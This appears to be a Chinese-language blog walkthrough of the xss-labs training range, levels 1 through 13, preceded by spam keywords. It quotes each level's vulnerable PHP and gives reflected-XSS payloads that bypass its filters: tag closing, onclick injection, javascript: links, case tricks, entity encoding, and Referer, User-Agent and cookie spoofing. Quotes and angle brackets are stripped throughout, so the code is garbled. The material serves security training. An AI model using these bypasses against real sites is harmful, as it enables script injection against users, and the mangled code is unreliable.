福州绿光网站建设工作室,网上商城是什么意思,整形网站整站源码,网站设计网上培训学校反射型xss危害小#xff0c;这里使用的xss靶场是常用的xss靶场#xff1a;xss-labs。
当我们完成弹窗后就通过该关卡#xff0c;说该关卡存在xss的一个漏洞并且可以解析js代码。
第一关#xff1a;
这里没有过滤我们输入的代码#xff1a;直接将js代码放在js代码中这里使用的xss靶场是常用的xss靶场xss-labs。
当我们完成弹窗后就通过该关卡说该关卡存在xss的一个漏洞并且可以解析js代码。
第一关
这里没有过滤我们输入的代码直接将js代码放在js代码中js代码被执行。 第二关
在这里对我们的输入的keyword值使用htmlspecialchars 函数进行了过滤对 ‘ “ 进行了实体编码。虽然可以对其进行解码但是再不会进入到标签开始状态了所以如果直接写scriptalert(1)/script并不会触发。 所以我们在h2中无法进行操作了我们需要在input中进行操作。
解法1闭合input标签
input namekeyword valuesadas scriptalert(123)/script 解决方法2闭合双引号添加一个点击事件。
input namekeyword value asd onclickalert(212) 第二个方法需要用户点击输入框后才会执行所以没有第一个方法好。
第三关 ini_set(display_errors, 0);
$str $_GET[keyword];
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel3.php methodGET
input namekeyword value.htmlspecialchars($str).
input typesubmit namesubmit value搜索 /
/form
/center;在h2中对 进行了实体编码所以不考虑。只考虑Input中。观察在input中也是用了htmlspecialchars进行编码并且在这里为 ’ (单引号)闭合。
我们去php官网查看这个函数发现如果你要对单引号进行编码需要设置 ENT_QUOTES 但这里并没有设置说明对单引号不起作用。 解决方法
input namekeyword valueasd onclickalert(12) 第四关
$str $_GET[keyword];
$str2str_replace(,,$str);
$str3str_replace(,,$str2);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel4.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
这里过滤了 和 所以无法闭合尖括号产生新标签。并且还使用htmlspecialchars在h2中进行过滤。所以只看Input。
解决方法
input namekeyword valueasd onclickalert(12) 第五关
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,scr_ipt,$str);
$str3str_replace(on,o_n,$str2);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel5.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
如上对关键字script 和 on进行了替换并且在h2中进行了过滤只能考虑input。
在input这里并没有过滤 ;所以解决办法如下。
解决方法添加a标签在a标签中操作。
input namekeyword valuesda a hrefjavascript:alert(12)asdas/a 第六关
ini_set(display_errors, 0);
$str $_GET[keyword];
$str2str_replace(script,scr_ipt,$str);
$str3str_replace(on,o_n,$str2);
$str4str_replace(src,sr_c,$str3);
$str5str_replace(data,da_ta,$str4);
$str6str_replace(href,hr_ef,$str5);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel6.php methodGET
input namekeyword value.$str6.
input typesubmit namesubmit value搜索 /
/form
/center;
过滤了许多但是注意在这里并没有过滤大小写所以我们可以大小写绕过。所以解决方法很多。
注意在html中是不区分大小写的但是在js中是严格区分大小写的。
script/script 标签可以不区分大小写。比如写为SCRIpt/SCRIPT
但是在其中的内容要严格区分大小写比如alert等。
解决方法
asd a hREfjavascript:alert(12)asd/a
input namekeyword valueasd a hREfjavascript:alert(12)asd/a 第八关
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,scr_ipt,$str);
$str3str_replace(on,o_n,$str2);
$str4str_replace(src,sr_c,$str3);
$str5str_replace(data,da_ta,$str4);
$str6str_replace(href,hr_ef,$str5);
$str7str_replace(,quot,$str6);
echo center
form actionlevel8.php methodGET
input namekeyword value.htmlspecialchars($str).
input typesubmit namesubmit value添加友情链接 /
/form
/center;
?
?phpecho centerBRa href.$str7.友情链接/a/center;
?
centerimg srclevel8.jpg/center
?php
echo h3 aligncenterpayload的长度:.strlen($str7)./h3;
?
这里是将我们输入的内容放到a标签的href中。很明显需要使用javascript这个伪协议。但是这里对我们的输入进行了过滤将script替换为了scr_ipt。这里我们可以先将javascript进行实体编码在放入。 解决方法 首先将javascript进行实体编码 将实体进行输入到href中
javascript:alert(12)
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;:alert(12)a href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;:alert(12)友情链接/a 第九关
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,scr_ipt,$str);
$str3str_replace(on,o_n,$str2);
$str4str_replace(src,sr_c,$str3);
$str5str_replace(data,da_ta,$str4);
$str6str_replace(href,hr_ef,$str5);
$str7str_replace(,quot,$str6);
echo center
form actionlevel9.php methodGET
input namekeyword value.htmlspecialchars($str).
input typesubmit namesubmit value添加友情链接 /
/form
/center;
?
?php
if(falsestrpos($str7,http://))
{echo centerBRa href您的链接不合法有没有友情链接/a/center;}
else
{echo centerBRa href.$str7.友情链接/a/center;
}
这里的过滤和前面类似但是在后面存在一个strpos函数用来检测我们传的参数中是否有http://如果有则合法如果没有则不和法。
解决方法
依然将javascript进行实体编码不过还需要在后加上http://。
javascript:alert(112);//http://
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;:alert(112);//http://
注意在这里我们使用//将http://注释掉了虽然注释掉了但是http://还是存在所以检测时我们的输入是合法的。centerBRa href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;:alert(112);//http://友情链接/a/center 第十关
$str $_GET[keyword];
$str11 $_GET[t_sort];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.$str33. typehidden
/form
/center;
我们查看页面源代码发现存在隐藏的from表单其中的input选项被隐藏了。 经过对php的源码分析发现接收了一个t_sort参数最后传递给表单中namet_sort的输入框所以我们可以在这里进行操作。这里过滤了 和 。 解决方法
我们可以在url中给t_sort进行赋值改变input的属性改变之后就可以显示出来当我们点击输入框时它就会弹窗。
/level10.php?t_sortaaa typetext onclickalert(12) 第十一关
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_SERVER[HTTP_REFERER];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_ref value.$str33. typehidden
/form
/center;
加了过滤函数htmlspecialchars的基本不用看了我们只需要在input namet_ref value.$str33. typehidden观察即可。
$str11$_SERVER[HTTP_REFERER]; 它获取的是我们http请求头的referer字段。 http中referer字段的含义
referer可以跟踪你上网的痕迹你从哪个网站跳转到另一个网站它就会跟踪到。上面显示的是你从哪个网站过来的。
解决方法伪造referer字段。 当我们点击输入框后就会弹窗 第十二关
伪造user agent 第十三关
伪造cookies